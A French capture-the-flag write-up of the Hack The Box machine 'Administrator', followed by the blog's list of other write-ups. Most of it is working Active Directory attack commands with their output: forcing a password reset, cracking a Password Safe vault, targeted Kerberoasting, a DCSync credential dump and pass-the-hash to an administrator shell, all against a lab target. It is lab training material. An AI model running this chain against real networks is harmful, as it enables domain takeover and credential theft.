Set-DomainUserPassword -Identity Benjamin -AccountPassword (ConvertTo-SecureString 'azertyazerty' -AsPlainText -Force) -Verbose

## Connexion avec l'utilisateur Benjamin
evil-winrm -i 10.10.11.42 -u Benjamin -p azertyazerty

## RIEN !
smbclient

## FTP
ftp 10.10.11.42
> get Backup.psafe3

Foothold

Bruteforce Backup.psafe3

On bruteforce le password maitre du fichier Backup.psafe3 qui est un fichier password safe. Pour cela, on utilise hashcat:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


$ hashcat -m 5200 -a 0 Backup.psafe3 ~/wordlists/rockyou.txt

hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz, 6839/13742 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /home/leopold/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139922195
* Keyspace..: 14344385

Backup.psafe3:tekieromucho

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: Backup.psafe3
Time.Started.....: Thu Nov 28 15:13:47 2024 (0 secs)
Time.Estimated...: Thu Nov 28 15:13:47 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/leopold/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 27754 H/s (5.85ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 5120/14344385 (0.04%)
Rejected.........: 0/5120 (0.00%)
Restore.Point....: 4608/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:2048-2049
Candidate.Engine.: Device Generator
Candidates.#1....: Liverpool -> babygrl
Hardware.Mon.#1..: Temp: 60c Util: 22%

Started: Thu Nov 28 15:13:27 2024
Stopped: Thu Nov 28 15:13:48 2024

PasswordSafe

On installe pwsafe puis on ouvre la base de donnée avec le mot de passe trouvé tekieromucho.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


sudo apt isntall pwsafe
pwsafe ./Backup.psafe3

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

evil-winrm -i 10.10.11.42 -u alexander -p UrkIbagoxMyUGw0aPlj9B0AXSea4Sw

evil-winrm -i 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

./nxc smb 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
SMB 10.10.11.42 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

evil-winrm -i 10.10.11.42 -u emma -p WwANQWnmJnGV07WQN8bMS7FMAbjNur

User flag

Finalement, on obtient le flag utilisateur grâce à Emily

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


evil-winrm -i 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\emily\Desktop> cat user.txt
3415.....de32

Privilege Escalation

Emily -> Ethan

On doit faire un kerberosting. D’après le write-up, il y avait une manière plus simple de le faire grace a ce repo github qui fait toutes les etapes qu’on a effectué à la main d’un coup:

git clone https://github.com/ShutdownRepo/targetedKerberoast

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


## Depuis Emily evilWinrm
. .\PowerView.ps1

Set-DomainObject -Identity Ethan -Set @{serviceprincipalname='fakeService/targetHost'}

## Depuis Kali
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo ntpdate administrator.htb
2024-11-29 16:04:44.623613 (-0500) +25200.766571 +/- 0.493670 administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by 25200.766571

┌──(kali㉿kali)-[~/Downloads]
└─$ GetUserSPNs.py administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -request

hashcat -m 13100 -a 0 ethan_hash.txt ~/wordlists/rockyou.txt --optimized-kernel-enable --show leopold@leopold-ZenBook-UX434FAC-UX434FA
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$78ac2707afa86369c7b7ac6481d4f104$90702b9d78c06a35af5186690e4534b9432409b6e97765e513071ac185c0547c06cb3a2bf9b7268791819e21671adc50267d2233c02f05a3528d9a3341a87a2f470a8b7cf56a3d326751f9def7e0ba074bc3898d2159339e52406c576ce48895c687ad7460ed922d25a7f311197ab8ba2dd2f407690371cea35ab9509f4323aef68705ff3a735d7a461691040e3f6cee60cf8872450c1915429bc741357983166310c5664995fbb6d2e94d555c8ecd59e01f951860d21da3adda55559976f5472be684af958d97e449d1359f5c21e24cd684a1b4db78ff6386b7b02dcecc7bec3bd3b073ac659d50f2e168563a99ff4e8a75460d653acc88eda530e4de755074de68faa776a437a45ce3a681e63edd36130040528f02bf655f8b2ef8fdac61d33c10c10573f4641551d55a950bc13ca30d4dbe622be89f6296f0d330352910d3df0d4c659408a422dbba104e64d3e061a9a182167250a3943ad22a24aceb2e7c51a2e76fc14125c88fb0990601a8f28b2ee96da6da4cf743800c7777e0549fa84d96504a8e250deeb266786714f9d3aa19fcb0f60cf60b788f6def223a11dfda0e0bbbbff61293d7c30925f7f743494f9950fd6684d6f60ab77494e726a75178cf7112b961665ea10213fbb40702faa66dcecd6c7be70738ee8d6e25bafc67962d7aa43cb4a36eb367ecffe26060cc38f411d26e41a3a37ea0d62e3be77d42daee37a277ac464d8b1e2b3d2b5587d2ef0bac76a15009361f4d5256be13b408617cf910a9faa14d1f7997fe85c51ee20f0977fd60381b815f0acff3cb3d4b6a1a6ff72f0d75d03190ed77c663cdd6cc2c11f87916456861d928554bc0cea4f2b05ea58afff209e19964ad6a5e69c2775a17645f61e39c24dd3b9705272580e72db2438ee10e26ce49cedcc6d40727d8d9eb839db1029fbe39d197208829689909afca82def5d5143bf5e80d7486bace7c1ce7364615030fe65555f03f8fc90791c3d3760feaa03e7e6c9b4654e80ccb1bc5803bb3735e17b3e025fccd1e510aff673cd9d17bb03d1ffd1a7ffaf60b730a619263ed6b67af39efff762026ef683e8b0d330c1f1da452383fab9acb9c652257b3400e2190f4603361cf61f7d187d15a71702bbc95eec7838de2ae64584e64d8ee59de45de529a913f473a52a312dd66b3645b1b0d001147ad744436b8cfdb72af6dc5defe880a6170c24ee592d53f3b8874678c202be3fdcc5b412b59b5800fcd25641bbb8e443f1b94f25c206a628ef448eb0d205b0cf7ec9c90374d53f20fff82be21a8002a6de850eeb67e16e0e6e0022ecaa54ef7ef46c0b0bf38d819c28863e1611d6112b08683ae1ac7c3cee339587b502e83369f27b7b445964fa6efb504fec49f0c5a319aa341273a50902ee8531e27b289afa18c617eaa5d806303d723045102267a39773e6da6e1e4949cf3fdcea35174107c6205feb621037c4dcb074a3b3684434ca2da040e93e981ad3f12e7bb106a9bc2824f5ac151556eaea4a97a972deb5da307d67938fe59:limpbizkit

On obtient les creds de Ethan:limpbizkit

1
2
3
4
5
6
7
8
9


rpcclient -U "administrator.htb\ethan%limpbizkit" 10.10.11.42

ldapsearch -x -H ldap://10.10.11.42 -D "ethan@administrator.htb" -w "limpbizkit" -b "DC=administrator,DC=htb"

## Tentatives d'ouvertur d'un shell
$ evil-winrm -i 10.10.11.42 -u ethan -p limpbizkit
$ wmiexec.py 'administrator.htb/ethan:limpbizkit@10.10.11.42'
$ psexec.py 'administrator.htb/ethan:limpbizkit@10.10.11.42'
$ dcomexec.py 'administrator.htb/ethan:limpbizkit@10.10.11.42'

Secretsdump

On récupère le hash de l’administrateur grâce au script secretsdump et aux droits de l’utilisateur ethan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


secretsdump.py -just-dc ethan:limpbizkit@10.10.11.42 -outputfile dcsync_hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:de3afc157b17c25bf056296233cf23629c06aa2f19d414afbe0afe3da7d59835
administrator.htb\michael:aes128-cts-hmac-sha1-96:038498213933ca1f3d43b4d7f6b0a572
administrator.htb\michael:des-cbc-md5:07bf8f89c229c219
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:c0e6eaa8e841c72e55ef6a938565403e27aa728f5397e75d8cae6cd3423957bd
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:3e8b0ff2f07fd2178ec4d33f1ad0bc4b
administrator.htb\benjamin:des-cbc-md5:4a4aa4e3bc5eab61
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...

Evil-winrm

En utilisant le hash de l’administrator on peut directement se connecter avec evil-winrm:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


$ evil-winrm -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e -i 10.10.11.42

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 11/29/2024 10:54 PM 34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
8431.....8a6b

Pass The Ticket Attack (PTT)

PAS REUSSI, FINALEMENT PAS UTILE ?

1
2
3
4
5
6


export KRB5CCNAME=Administrator.ccache
## On récupère un ticket
getTGT.py ADMINISTRATOR.HTB/Administrator -aesKey 9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Administrator.ccache

Windows on sl0wguy's Blog

HTB | Escape

Users

Enumeration

nmap

Foothold

SMB Share ENumeration - guest

Public Share - “SQL Server Procedures.pdf”

Credentials for MSSQL

MSSQL : xp_dirtree and responder

Hashcat : sql_svc password

ERRORLOG.BAK : Ryan.Cooper password

Privilege Escalation : ESC1 Template

Enumeration : certipy find

Requesting a Malicious Certificate

Getting a TGT as Administrator

Gaining Administrator Shell (psexec)

HTB | Support

Users

System Info

Enumeration

nmap

Foothold

Dumping Users using guest account

SMB Share : support-tools

UserInfo.exe.zip : .NET executable

Rusthound / Bloodhound : “support” account

ldapsearch : support’s password

Privilege Escalation

Generic All on DC : Resource-Based Constrained Delegation Attack

Tips

HTB | Intelligence

Users

Enumeration

nmap

Foothold

intelligence.htb

Fuzzing files

Password found in pdfs

User list from pdfs creators

Tiffany.Molina : user flag

Rusthound bloodhound

Tiffany.Molina -> Ted.Graves

SMB : IT Share

New DNS Record

Responder

Ted NTLMv2 Hash

Ted.Graves -> svc_int$

ReadGMSAPassword Right on svc_int$

svc_int$ -> Administrator

msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

Silver Ticket : impersonate Administrator

Tips

HTB | Monteverde

Users

Enumeration

nmap

Foothold

Getting users using nxc

Password Spray

‘user$’ and ‘azure_uploads’ smb shares : READ ACCESS

Evil-winrm : mhope -> user flag

Privilege Escalation

mhope Group : Azure Admins

SQL Server: ADSync database

Script

Output

Administrator pwned

Tips

HTB | Bastard

Enumeration

nmap

Foothold

Drupal 7.54

CVE-2018-7600 | drupalgeddon2

Stable Shell

Better Stable Shell

Privilege Escalation

SEImpersonatePrivilege - JuicyPotato

Tips